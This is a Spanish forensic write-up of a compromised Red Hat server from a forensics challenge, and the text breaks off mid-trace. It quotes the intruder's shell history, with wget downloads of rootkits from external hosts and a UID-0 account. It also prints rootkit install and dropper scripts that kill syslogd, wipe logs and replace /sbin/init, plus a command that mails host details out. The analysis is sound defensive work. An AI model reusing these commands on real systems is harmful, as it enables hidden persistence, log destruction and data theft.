Análisis Forense Reto Forense v2.0 Juan Antonio Fernández Autodidacta Introducción El informe se ha realizado con fines comprensibles, por lo que se ha decidido utilizar herramientas comunes y disponibles en el Sistema Linux. Así, se ha optado por usar como Sistema Operativo SuSE 8.2 LiveEval. El informe se ha dividido en partes, en primer lugar, se exponen los pasos iniciales para establecer el entorno de trabajo que incluye el establecimiento de una estación de análisis o de trabajo; la preparación de las imágenes, en definitiva dedicado a reunir la información básica del Sistema Operativo; software instalado, servicios activados y posibles vías de entrada. Se verifica la existencia de un acceso no autorizado al sistema y se analiza la forma en que se llevó a cabo dicho acceso para seguidamente abordar la reconstrucción del ataque y las evidencias que nos fueron llevando a cada conclusión y se confirma de que el sistema ha sido comprometido. Se realiza un análisis de las herramientas introducidas en el sistema por los atacantes, y se detallan las herramientas que utilizamos para realizar el análisis. Preparación para el Análisis La primera tarea a realizar a la hora de llevar a cabo el análisis forense de las imágenes del sistema, es crear el entorno de trabajo adecuado que nos permita realizar el estudio correctamente. Se debe poner especial hincapié en preservar inalterado el estado de las imágenes a analizar y en asegurarnos de que disponemos de las imágenes adecuadas. Procedimos a descargar las imágenes de la dirección http://www.seguridad.unam.mx/eventos/reto/. Una vez descargadaslas imágenes, verificamos las sumas md5 de cada uno de los ficheros de las imágenes. En el fichero de texto encontramos información sobre las firmas md5 de cada imagen; mediante la orden md5sum, obtenemos las firmas de las evidencias, y constatamos que estas no han sufrido modificación en el tránsito hasta nuestro ordenador: # md5sum *.dd 639c0cb8e90158b96cc4f1a3acefc5f1 hda1.dd f4a194be5c2bfb682aaf27456f5e80e4 hda2.dd b90bbfb50821086f195054013260888c hda3.dd cfd673d75f3a2297577376aef79a3fb3 hda5.dd eb99858c421ae0a48ac7772600dff57c hda6.dd Montando las imágenes en el disco Posteriormente, se procederá a montar las imágenes de las particiones para comenzar el análisis de las mismas en el equipo . Para esto se puede usar el mecanismo de loop-back disponible en Linux, que permite el montaje de los ficheros imagen de la partición en el equipo, pudiendo así acceder a archivos de estos sistema de ficheros sin modificarlo de ninguna manera. Para hacerlo hay que montarlo de modo solo lectura (nodev) con opción "-r" o "-o ro". #!/bin/sh mount -o ro,loop,nodev,noexec /x/hda1.dd mount -o ro,loop,nodev,noexec /x/hda2.dd mount -o ro,loop,nodev,noexec /x/hda5.dd mount -o ro,loop,nodev,noexec /x/hda3.dd /x/raíz /x/home /x/usr /x/var Ahora podemos ver el contenido de las particiones montado sobre /x. Vamos por ahora ignorar el contenido de la partición /home, ya que ningún fichero de sistema operativo se encuentra allí. En el futuro podemos examinar su contenido para detectar algún indicio de back-door, como aplicaciones setuid/setgid, ficheros .rhosts, comandos añadidos a los ficheros de inicialización de shell que pueden enviar una copia de fichero que contiene passwords a una dirección, borrar fichero, etc. Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar en la partición raíz. En primer lugar, procederemos a la recopilación de datos relacionados con el tipo de sistema: versión del sistema operativo, particiones utilizadas, fecha en la que se detectó el ataque, fecha en la que se desconectó de la red el equipo y cualquier otra modificación que pudiese tener relevancia para el análisis. Descripción del equipo atacado # versión del sistema linux: less /x/raíz/etc/redhat-release Red Hat Linux reléase 7.3 (Valhalla) # Zona horaria linux: cat /x/raiz/etc/sysconfig/clock ZONE="América/Mexico_City" UTC=false ARC=false # Las particiones con las que contaba la máquina son las siguientes: linux: less /x/raíz/etc/fstab LABEL=/ / ext3 defaults 1 1 none /dev/pts devpts gid=5,mode=620 0 0 LABEL=/home /home ext3 defaults 1 2 none /proc proc defaults 0 0 none /dev/shm tmpfs defaults 0 0 LABEL=/usr /usr ext3 defaults 1 2 LABEL=/var /var ext3 defaults 1 2 /dev/hda6 swap swap defaults 0 0 /dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0 /dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0 linux: less /x/raiz/etc/sysconfig/networkscripts/ifcfg-eth0) DEVICE=eth0 BOOTPROTO=static BROADCAST=192.168.200.255 IPADDR=192.168.200.128 NETMASK=255.255.255.0 NETWORK=192.168.200.0 ONBOOT=yes # Gateway: (/etc/sysconfig/network) NETWORKING=yes HOSTNAME=finanzas GATEWAY=192.168.200.254 # Nombre del ordenador (según /etc/hosts): # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 finanzas localhost.localdomain localhost # La máquina es instalada el día 20 de Enero de 2005, y puesta en red el mismo día 20 de Enero de 2005,a las 23:29 # Se detecta que ha sido atacada el día 29 de Enero, tras recibirse un aumento de tráfico considerable y modificaciones de ejecutables y ficheros. 22:11:44.000000000 +0100 ftp <------------------------accedido IP 211.57.88.250 22:14:57.000000000 +0100 httpd.mm.723.sem <-------acceso a documento vacío (propietario 48 (Apache) grupo root) 22:16:49.000000000 +0100 /dev * <-----------primera modificación sobre ejecutables realizada 29/01/2005 22:16:49.000000000 +0100 gawk * # Servidor de nombres (/etc/resolv.conf): nameserver 192.168.123.1 nameserver 192.168.55.1 # Se desconecta la máquina y se bloquea el acceso a ella el día 31 de Enero de 2005 22:25:00.000000000 +0100 /etc/mrtg 22:25:00.000000000 +0100 mrtg.ok Entrada al sistema El ataque al sistema se produce el día 29 de Enero, a las 21:16:49. El análisis forense de las imágenes no nos refleja casi ninguna información sobre la forma en la que el atacante entró en el sistema. La fecha de este ataque es propia de la fecha de creación de los archivos "/dev/hdx1" y "/dev/hdx2". Como veremos más tarde estos ficheros son obra de el virus RST.b. En esta fecha se detecta un aumento considerable de actividad desde las 21:11:44. No tenemos análisis de tráfico que nos proporcione información sobre la actividad que se va produciendo en el sistema por la inexistencia de logs (están eliminados). Se muestran conexiones que inician la descarga de ficheros binarios según (.bash_history). Esta descarga de estos ficheros es confirmada por la información proporcionada por la línea del tiempo que hemos creado. Tras analizar el contenido de estos ficheros, obtenemos la forma en la que el atacante ha conseguido acceso al sistema. Se ha aprovechado una vulnerabilidad de OpenSSL que abre un shell perteneciente al usuarionobody/apache sobre el servidor Web Apache. Para ello, se utiliza un exploit remoto infectado por el virus LinuxRST.b que provoca un buffer overflow en la llave del protocolo SSL: KEY_ARG. Este abre un shell con privilegios de root. Más tarde veremos el paquete Selena.tar.gz utilizado para ello. Análisis con Herramientas comunes Linux La línea cronológica de tiempos es necesario para hacer un análisis forense, es importante que el investigador contesta a tres preguntas: ¿Quién, Cómo, y Cuándo?. Nosotros ahora veremos los acontecimientos vistos en las secciones previas ocurridas. Utilizaremos fundamentalmente herramientas comunes de Linux para realizar el análisis (aparte de que no tenemos otras). El primer paso será la obtención de los tiempos de Modificación/Acceso/ de todos los ficheros del sistema. Es fundamental capturar estos tiempos antes de emprender cualquier acción sobre los ficheros del equipo atacado que pueda modificar su valor. La secuencia de accesos y modificación de los ficheros permitirá crear una línea temporal que muestre los acontecimientos ocurridos en el sistema por el intruso. Al final de este proceso se obtiene un listado completo de todos los ficheros del sistema que hayan modificado sus tiempos desde la "fecha que buscamos, en nuestro caso desde el 29/01/2005". La aparición de modificaciones en ficheros como: gawk, chmod, dd, df, ls, mail, netstat ..., sugeriría la posibilidad de que se haya instalado un rootkit ó un Virus en el sistema. Un método para saber si los ficheros modificados son versiones troyanizadas de los originales es examinar los ficheros sospechosos buscando cadenas que delaten esta posibilidad. Normalmente, la información que se obtiene de este estudio suelen ser rutas de directorios y ficheros que no debería aparecer en el sistema. Primero, verifiquemos que es lo que contiene el fichero /x/etc/passwd para ver que UID/GIDs hay dentro y observar si hay alguna modificación realizada. La aplicación nos mostrará el contenido de UIDs y GIDs. Este fichero puede contener cuentas creadas por los intrusos, veamos: linux: less /x/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/dev/null rpm:x:37:37::/var/lib/rpm:/bin/bash rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/bin/false ident:x:98:98:pident user:/:/sbin/nologin radvd:x:75:75:radvd user:/:/bin/false postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash apache:x:48:48:Apache:/var/www:/bin/false squid:x:23:23::/var/spool/squid:/dev/null named:x:25:25:Named:/var/named:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash Contador:x:500:500:Contador publico:/home/Contador:/bin/bash weed:x:0:0::/home/weed:/bin/bash Podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen números UID elevados y sin orden aparente, por ejemplo "nfsnobody"con UID 65534 y GID 65534. Un fichero de passwd legítimo y creado por el sistema, normalmente sigue un patrón secuencial de asignación de UID?s. Mientras aquí anotamos que las cuentas con UIDs de orden bajo como el recientemente añadido "weed" con UID 0 y GID 0 (lo mismo que root) son sospechosos por su posición. Veamos en que fecha se modifico el archivo /x/etc/passwd : linux: ls -lat /x/etc/passwd -rw-r--r-- 1 root root 1381 Jan 29 22:25 passwd Bien el archivo passwd es modificado después de la intrusión a las 21:16:49 del 29/01/2005,sobre esta fecha vamos a obtener un listado y crear una línea temporal que muestre los acontecimientos ocurridos en el sistema para su posterior análisis en orden cronológico, para ello ejecutamos: linux: ls -latR --full-time | grep 2005-01-29 | cut -c 55- | sort -u | uniq -u 22:16:49.000000000 +0100 /dev 22:16:49.000000000 +0100 gawk <-----los primeros ejecutables modificados. 22:16:49.000000000 +0100 gawk-3.1.0 22:16:49.000000000 +0100 hdx1 22:16:49.000000000 +0100 hdx2 Con este listado obtenemos solo los modificados del sistema del día 29/01/2005 si deseamos ver conjuntamente con los accedidos podemos utilizar la instrucción en la línea de comandos lo siguiente: ls -a --full-time --time=atime -R | grep 2005-01-29 | cut -c 55- | sort -u Vamos a analizar los primeros archivos modificados por el intruso, y como vemos son gawk, gawk-3.1.0, hdx1 y hdx2. Busquemos el alojamiento de estos con find: linux:/x/raiz # find -name gawk ./bin/gawk Lo hemos localizado en la carpeta en /bin/gawk. Veamos de que tipo de archivo se trata con file linux:/x/raíz/bin # file gawk gawk: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), not stripped El comando file nos muestra que es un ejecutable tipo ELF 32-bit , intel y no esta strippeado. Con la herramienta strings (utilizada bastante en los análisis forenses) tracemos el ejecutable buscando indicios de su modificación por el intruso. linux:/x/raíz/bin # strings -a gawk | less libm.so.6 fmod __gmon_start ... /dev/hdx ... DOM‘ /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 ppp0 eth0 h/bin ... snortdos tory /lib/ld-linux.so.2 (END OF FILE) En estos momentos nuestra herramienta strings nos delata la modificación sufrida y tenemos una cadena sospechosa /dev/hdx, y además muy parecido al fichero (en nombre) al creado al comienzo de la intrusión hdx1 y hdx2. Luego analizaremos /dev lugar muy utilizado por los intrusos para ocultar sus archivos e intentemos localizar ficheros inusuales en el sistema, para ello utilizaremos de nuevo el comando find. linux:/x/raiz/dev # find -not -type b -not -type c -not -type s -not -type p -not -type l ... ./pts ./MAKEDEV ./ataraid ... ./cpu ./cpu/0 ... ./cpu/13 ./cpu/14 ... ./cpu/6 ./cpu/7 ./cpu/8 ... ./usb ./video ./hdx1 ./hdx2 ... ... y encontramos hdx1 y hdx2 en /dev observemos de que tipo de archivo se trata con file linux:/x/raíz/dev # file hdx1 hdx1: empty linux:/x/raíz/dev # file hdx2 hdx2: empty Analizados estos dos ficheros, están vacíos y creados a las 22:16:49.000000000 +0100 hdx1 buscamos en Internet referencias a la composición de hdx1 y hdx2 y hemos encontrado que se trata de un virus de tipo backdoor llamado LinuxRST.b . Que infecta archivos ELF como el infectado en nuestro caso /bin/gawk y trata de reinfectar a los que se encuentran en /bin en caso de tener permisos suficientes, sin embargo en estos minutos solo tenemos dos infectados según nuestra línea de tiempo. El virus en cuestión crea los archivos /dev/hdx1 y /dev/hdx2 trata de poner en modo promiscuo las interfaces eth0 y ppp0. E intenta conectarse a esta dirección: GET /~telcom69/gov.php HTTP/1.0 por el puerto 80. La parte backdoor abre un socket raw a la escucha usando el protocolo EGP(Exterior Gateway Protocol). Si recibe un paquete concreto el backdoor mira si en el byte 23 se encuentra el valor 0x11. De ser así, busca la presencia de un string de tres bytes con el valor DOM en el offset 0x2A. Si ambas condiciones se cumplen, el backdoor observa la existencia de un comando que puede ser 1 o 2. Un comando "1" devuelve una shell al usuario. Un comando "2" hace algo raro que consiste en devolver la cadena DOM al atacante a través de un puerto UDP. Para más información se puede visitar estos enlaces: para GET /~telcom69/gov.php HTTP/1.0 hemos encontrado un enlace en http://archives.neohapsis.com/archives/incidents/2001-12/0258.html para snortdos tory tenemos otro enlace en http://www.viruslist.com/ Analicemos si existen más binarios infectados en el sistema comprometido por el virus RST.b, linux:/x/raíz/bin # grep -ao snortdos * awk:snortdos chgrp:snortdos chmod:snortdos chown:snortdos cp:snortdos cpio:snortdos dd:snortdos df:snortdos dnsdomainname:snortdos domainname:snortdos ed:snortdos gawk:snortdos gawk-3.1.0:snortdos hostname:snortdos ln:snortdos ls:snortdos mail:snortdos mkdir:snortdos mknod:snortdos mktemp:snortdos mt:snortdos netstat:snortdos nisdomainname:snortdos ping:snortdos red:snortdos setserial:snortdos ypdomainname:snortdos Observamos con la opción -ao de grep que busca dentro de los propios binarios lo pedido (la firma del virus LinuxRST.b "snortdos tory", y por supuesto tenemos lo buscado; un listado de todos los binarios de /bin infectados por dicho virus, pero ¡ojo, con diferentes fechas y tiempo!, según nuestra línea del tiempo, lo veremos más tarde. La siguiente actividad sospechosa se inicia a las 22:19:33 del 29/01/2005, pero antes busquemos si existe aun el fichero .bash_history, por lo general es modificado o incluso borrado y veamos si nos suministra alguna información sobre laguna actividad ejercida por el intruso. linux:/x # find -name .bash_history ./raíz/root/.bash_history ./raíz/.bash_history <-------------------./var/tmp/.bash_history Buscamos con nuestra herramienta find (muy útil si no esta troyanizada). Tenemos tres .bash_history, en el sistema, veamos la fecha de modificación del fichero /raíz/.bash_history linux:/x/raíz # ls -l .bash_history -rw------- 1 root root 665 Jan 29 22:27 .bash_history Vemos que a sido modificada después de la intrusión, por lo tanto miramos en su interior. linux:/x/raíz # cat .bash_history id /usr/sbin/adduser -g 0 -u 0 -o weed passwd weed /sbin/ifconfig | grep "inet" ls -sa dir /usr/sbin/userdel weed ... wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz ... ... rm -rf sc* ... wget www.zetu.as.ro/pico chmod +x pico mv pico " " export PATH="." "" ... El intruso utiliza el comando adduser para crear una cuenta con los mismos valores como root con -g 0 y -u 0 y le asigna una contraseña lo que confirma la modificación de /x/etc/passwd a las 22:18:35, weed:x:0:0::/home/weed:/bin/bash 22:18:35.000000000 +0100 passwd- y también en el fichero de /x/etc/shadow a las 22:25:25 weed:$1$DyKN2D1p$uinbWE4oPSQEmFLEAEH/81:12812:0:99999:7::: 22:25:25.000000000 +0100 shadow Observemos en el .bash_history que el intruso empieza a descargarse herramientas para su uso personal una vez tenido un acceso al sistema como root, con el comando wget (descargador de archivos) accede a paginas web desde donde se descarga los siguientes ficheros: wget www.zetu.as.ro/crk.tar.gz wget www.zetu.as.ro/pico Bien realicemos lo mismo en nuestro ordenador y miremos que tipos de archivo se ha descargado nuestro intruso y para que sirven; es una buena forma de trazar los archivos y ficheros modificados. Según nuestra línea de tiempo una vez ejecutado estos archivos del empaquetado se crean ficheros y carpetas nuevas : linux: wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz linux:/descargas # tar -tvf crk.tar drwxr-xr-x qmailp/503 0 2005-01-05 05:06:24 crk/ -rwxr-xr-x root/root 6427 2005-01-05 09:10:41 crk/install -rw-r--r-- qmailp/503 430885 2002-01-14 07:42:26 crk/bin.tgz -rw-r--r-- qmailp/503 519 2002-10-06 04:51:37 crk/conf.tgz -rw-r--r-- qmailp/503 28999 2001-01-12 13:15:29 crk/lib.tgz Sin lugar a dudas el empaquetado crk es un rootkit, (por las carpetas de crk/bin.tgz, crk/lib.tgz posiblemente contienen binarios troyanizados) si echamos un vistazo al fichero install se podrá comprobar que se trata de un script de instalación de estos programas, que muestra paso a paso la instalación en el sistema de los mismos, así que veamos el contenido del fichero de install con cat crk/install: # Linux all rootkit ... made for personal use and friends by ZeToo # Greetz to : V-R34L , Beleaua , Azazel ... # This is my first sshd backdoor so it has minimal things ... # i‘ll add functions in time :) # No install help added coz its a "private" rk # www.cycomm-lamm3rz.com ... # Asigning default port/password ...just in case ... dpass=cycommrk dport=7777 ... killall -9 syslogd ... mv lib/* /lib/. ... chattr -isa /sbin/xlogin 2>/dev/null chattr -isa /bin/login 2>/dev/null ... mv /sbin/xlogin /bin/login 2>/dev/null /sbin/ldconfig ... chattr -AacdisSu /etc/ld.so.hash 2>/dev/null chattr -AacdisSu /lib/libext-2.so.7 2>/dev/null ... cp -f /etc/ld.so.hash /lib/libext-2.so.7 ... ./pg $dpass > /etc/ld.so.hash <------22:21:50.000000000 +0100 ld.so.hash ------dbSj8RE0TA3pQ ... # clave creada por el ejecutable pg echo "#!/bin/bash" >> /etc/rc.d/init.d/cycomm <-------- 22:21:50.000000000 +0100 cycomm echo "#startup script ... doh" >> /etc/rc.d/init.d/cycomm echo "/usr/sbin/xntps -q" >> /etc/rc.d/init.d/cycomm chmod +x /etc/rc.d/init.d/cycomm ... # se asegura el arranque rm -rf /var/log/* <-----------explicación por que no existen ningún /var/log/ ... rm -rf /bash.history <---------- ¡No debería aparecer el fichero .bash_history! rm -rf /root/.bash_history <---------- ¡No debería aparecer el fichero .bash_history! ... # al ejecutarse esta orden se borra los bash_history rm -rf crk* <--------explicación por que no existe la carpeta en el sistema Aquí vemos la confirmación de lo anteriormente expuesto se trata de un rootkit tipo backdoor donde podemos observar las modificaciones realizadas al sistema una vez ejecutado el script de instalación: se pasa como pass cycommrk trabajara en el puerto 7777; se mata la ejecución de syslogd; se mueve las librerías del paquete crk a las librerías de sistema; se crean varios ficheros, se les asigna contraseñas con el ejecutable pg;./pg $dpass > /etc/ld.so.hash (dbSj8RE0TA3pQ) ;se asegura que arranque todo lo instalado modificando /etc/rc.d/init.d/cycomm; y se ejecuta una series de ordenes que demuestran que el intruso carece de una mínima formación solo se limita a ejecutar el empaquetado y este realiza un borrado del sistema como rm -rf /var/log/* , rm -rf /bash.history y rm -rf /root/.bash_history (realmente se les esta gritando al administrador ¡estoy aquí ! ). Luego si miramos en /var/log/ no tendríamos nada de información de los logs y realmente los .bash_history tampoco deberían de existir puesto que son borrados literalmente. En la línea del tiempo las modificaciones de la ejecución de este rootkit se observan con precisión 22:19:33.000000000 +0100 libproc.so -> libproc.so.2.0.6 22:21:49.000000000 +0100 chmod 22:21:50.000000000 +0100 cycomm 22:21:50.000000000 +0100 hosts.h 22:21:50.000000000 +0100 init.d 22:21:50.000000000 +0100 ld.so.cache 22:21:50.000000000 +0100 ld.so.hash 22:21:50.000000000 +0100 libext-2.so.7 Este rootkit tiene un verdadero kit de utilidades preparadas para realizar ataques contra el sistema, miremos en la carpeta de crk/bin/ (recordemos que el empaquetado crk nos lo hemos descargado de la misma web que el intruso y lo hemos instalado en nuestro ordenador): linux:/descargas/crk/bin # ls -lat total 824 drwxr-xr-x 5 root root 4096 Feb 26 12:41 .. drwxr-xr-x 2 root root 4096 Feb 25 19:06 .sh drwxr-xr-x 3 root root 4096 Feb 25 16:27 . -r-xr-xr-x 1 root root 112640 Jan 14 2002 ssh.tar -r-xr-xr-x 1 root root 3216 Jan 14 2002 pg -r-xr-xr-x 1 root root 95383 Jan 22 2001 ssh-only.tgz -r-xr-xr-x 1 root root 16070 Jan 17 2001 tks -r-xr-xr-x 1 root root 13725 Jan 17 2001 login -r-xr-xr-x 1 root root 31452 Dec 13 2000 md5sum -r-xr-xr-x 1 root root 14808 Dec 13 2000 encrypt -r-xr-xr-x 1 root root 82628 Nov 29 2000 lsof -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root root root root root root root root root root root root root root 39696 Nov 29 2000 dir 59536 Nov 29 2000 find 31504 Nov 29 2000 ifconfig 39696 Nov 29 2000 ls 54152 Nov 29 2000 netstat 62920 Nov 29 2000 ps 12340 Nov 29 2000 pstree 23560 Nov 29 2000 slocate 26496 Nov 29 2000 syslogd 33992 Nov 29 2000 top 7578 Aug 21 2000 tkp 1382 Jul 25 2000 sz 1345 Sep 9 1999 tksb Explicaremos brevemente para que sirven algunos ficheros como información didáctica, para mas información se puede visitar este enlace: https://tms.symantec.com/members/AnalystReports/030929-Analysis-SHV4Rootkit.pdf /usr/include/file.h <------------------------(para ocultar archivos) /usr/include/proc.h <------------------------(para el proc del picosegundo que oculta) /lib/lidps1.so <-------------------------(para el pstree que oculta) /usr/include/hosts.h <------------------------- (para el netstat y red-ocultar) /usr/include/log.h <--------------------------(para el registro que oculta) /lib/lblip.tk/ <---------------------------(backdoored archivos de la configuración del ssh están en este directorio) /dev/sdr0 <--------------------------(suma de comprobación de los sistemas md5) /lib/ldd.so <--------------------------{que coloca el limpiador del tks(sniffer), del tkp(parser) y del tksb(log)} y los binario como ps, netstat, ls, top,etc. son binarios troyanizados, preparados para ser sustituidos por los originales del sistema con el objetivo de ocultar toda la información de nuestro intruso al administrador del sistema comprometido; aunque seria inútil por la barbaridad cometida y explicada anteriormente. Explicación que demuestra el poco conocimiento de esta herramienta por parte del intruso, solo se limita a ejecutarla sin comprobar realmente lo que esta sucediendo en el sistema . Sigamos con nuestro análisis con los archivos modificados según nuestra línea del tiempo, y observamos los ejecutables init y initsk12 localizados en la carpeta /sbin modificados el 29/01/2005 a las 22:22:00 : 22:22:00.000000000 +0100 init 22:22:00.000000000 +0100 initsk12 Examinemos estos binarios con nuestra herramienta favorita strings y veamos que nos dice y que modificaciones ha sufrido estos ejecutables para estar en nuestra línea de tiempos: strings -a /x/sbin/init | less PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:./bin:/usr/share/.X12-kernel:/usr/share /.X12-kernel/bin ... BD_Init: Starting backdoor daemon... FUCK: Can’t allocate raw socket (%d) HOME=/usr/share/.X12-kernel HISTFILE=/dev/null SHELL=/bin/bash TERM=linux ... /sbin/initsk12 ... /dev/hdx ... DOM‘ /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 ppp0 eth0 h/bin ... snortdos tory ... /sbin/init /sbin/initsk12 login ncftpget wget lynx ncftpput telnet rlogin rexec passwd adduser Podemos apreciar que el binario realiza algo interesante se trata de una puerta trasera ó backdoor (BD_Init: Starting backdoor daemon...) para esconder unos procesos y archivoslogin, wget,lynx passwd... (HOME=/usr/share/.X12-kernel)HOME es el alojamiento de esta puerta trasera y a demás tiene la posibilidad de modificar el archivo en /sbin/init, el binario initsk12 es probablemente la versión original de init. Este tipo de archivos es usado cuando se quiere ocultar las pruebas del sistema comprometido, el strings nos delata además que esta infectado por el virus RST.b, (snortdos tory) buscamos más información en el sistema. linux:/x # find -name .bash_history ./raíz/root/.bash_history <--------------------./raíz/.bash_history ./var/tmp/.bash_history linux:/x/raíz/root # ls -l .bash_history -rw------- 1 root root 133 Jan 29 22:22 .bash_history linux:/x/raíz/root # cat .bash_history ls dir ps xc wget xhack.150m.com/sc.tgz tar -zxvf sc.tgz cd sc ./inst ./sk w wget xhack.150m.com/https perl https cd .. rmrm -rf sc* Bien visitamos el .bash_history de root observamos que el intruso se descarga más herramientas y las ejecuta sobre el sistema, realicemos lo mismo y descarguémoslo desde esta misma pagina web en nuestro ordenador y analicemos su contenido wget xhack.150m.com/sc.tgz tar xzvf sc.tgz linux:/descargas/sc # ls -lat total 124 drwx------ 2 root root drwxr-xr-x 7 root root -rwx------ 1 root root -rwx------ 1 root root -rwx------ 1 root root 4096 Feb 26 16:20 . 4096 Feb 25 16:28 .. 29252 Feb 25 12:35 sk 59085 Jan 7 17:14 inst 16672 Jan 7 17:14 login vemos el tipo de archivo que son estos ejecutables: linux:/D/evi/sc # file sk sk: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), statically linked, stripped linux:/D/evi/sc # file login login: ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), stripped Comprobamos que los ejecutables son del tipo ELF 32-bit , intel y están strippeados Veamos el inst y el desarrollo y ejecución del mismo: #!/bin/bash D="/usr/share/.X12-kernel" H="sk12" mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e "\037\213\010\010\161\265\336\101\002\003\163\153\000\355\175\175\174\ \124\325\265\350\114\146\022\206\144\140\006\035\065\050\342\240\120\ \101\021\162\204\266\004\102\015\011\007\........... ................\325\075\000\177\203\242\360\342\126\031\014\255\206\153\361\ \302\274\351\237\077\001\336\244\353\340\375\157\363\075\011\166\104\ \162\000\000" | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo us into memory. Have fun! Como se ve copia sk a /sbin/init y el /sbin/init original lo copia a /sbin/initsk12 que es el valor de la variable H si hacemos un ls /bin/initsk12 no encontrara nada, este rootkit esta en un estado de espera si no hay nadie conectado no hay mucho que hacer para encontrar cual será su "HOME" donde esta instalado, he ahí la excusa que chkrootkit busca esa cadena en /sbin/init, una forma de detectar el HOME es conectarse e ir al /proc y buscar PID. Por lo tanto tenemos que es un rootkit en el cual /sbin/init es una copia de sk infectado por el virus RST.b y /sbin/initsk12 es la versión original de /sbin/init y no esta infectado por el virus RST.b. Se puede seguir un enlace en http://hysteria.sk/sd/f/suckit/ Análisis del ejecutable pico Echamos un vistazo a la línea del tiempo: 22:26:47.000000000 +0100 <----------archivo creado sin nombre " ". Esta explicación de este archivo la encontramos en el fichero de /x/raíz/,bash_history ... chmod +x pico mv pico " " ... Buscamos el lugar y en /var/log/ nos encontramos con: drwxr-xr-x 2 root root -rw-r--r-- 1 root root -rwxr-xr-x 1 root root drwxr-xr-x 20 root root 4096 Jan 31 11:02 . 9209 Jan 31 11:02 rpmpkgs 24056 Jan 29 22:26 *<--------archivo oculto creado 4096 Jan 20 16:57 . Podemos Observar la total inexistencia de los archivos logs del sistema, se recuerda que el rootkit crk.tar.gz los eliminó al ser ejecutado por el intruso con el fin de no dejar huellas. Aunque el mencionado paquete crt.tar.gz contiene un script que sólo elimina ciertas partes de los logs (evitando el borrado total de los logs y por lo tanto ser descubierto por el administrador del sistema) el cual no utilizo, observemos parte de este script: ... WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" | grep -v "@") for fil in $WERD do line=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’) echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}...${RES}" ... En el script se observa que busca cadenas en /var/log que contengan "tgz", "tar" "/" ... y las borra de los ficheros de logs haciendo un poco más complicado el visualizar la intrusión. Sigamos con nuestro análisis del binario Pico linux:/x/raíz # ls -l .bash_history -rw------- 1 root root 665 Jan 29 22:27 .bash_history ... linux:/x/raíz # cat .bash_history ... id ... wget www.zetu.as.ro/pico chmod +x pico mv pico " " export PATH="." "" /usr//sbin/killall -9 zbind En bash_history se nos refleja la descarga de este ejecutable, le otorga permisos de ejecución y le cambia de nombre "pico " por el nombre " " y lo instala /var/log, analicemos el binario con file y strings linux:/x/var/log # file * : ELF 32-bit LSB ejecutable, Intel 80386, versión 1 (SYSV), dynamically linked (uses shared libs), not stripped rpmpkgs: ASCII text strings -a * | less PID = %d touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sb in/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s ’Port nou’ [email protected] /usr/tmp /dev/null ... /dev/hdx ... DOM‘ /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 ppp0 eth0 h/bin ... snortdos tory El comando strings nos dice que recoge información del sistema con uname -a, ifconfig, hosname y lo manda por correo a la dirección de [email protected] como podemos observar igualmente esta infectado por el virus RST.b, decidimos ir un poco más lejos y ejecutamos * (pico) el binario con strace y posteriormente vemos con los comandos ps -aux, lsof y netstat lo ocurrido: # funcionamiento de pico linux:/x # strace -x ./pico execve("./pico", ["./pico"], [/* 68 vars */]) = 0 uname({sys="Linux", node="linux", ...}) = 0 brk(0) = 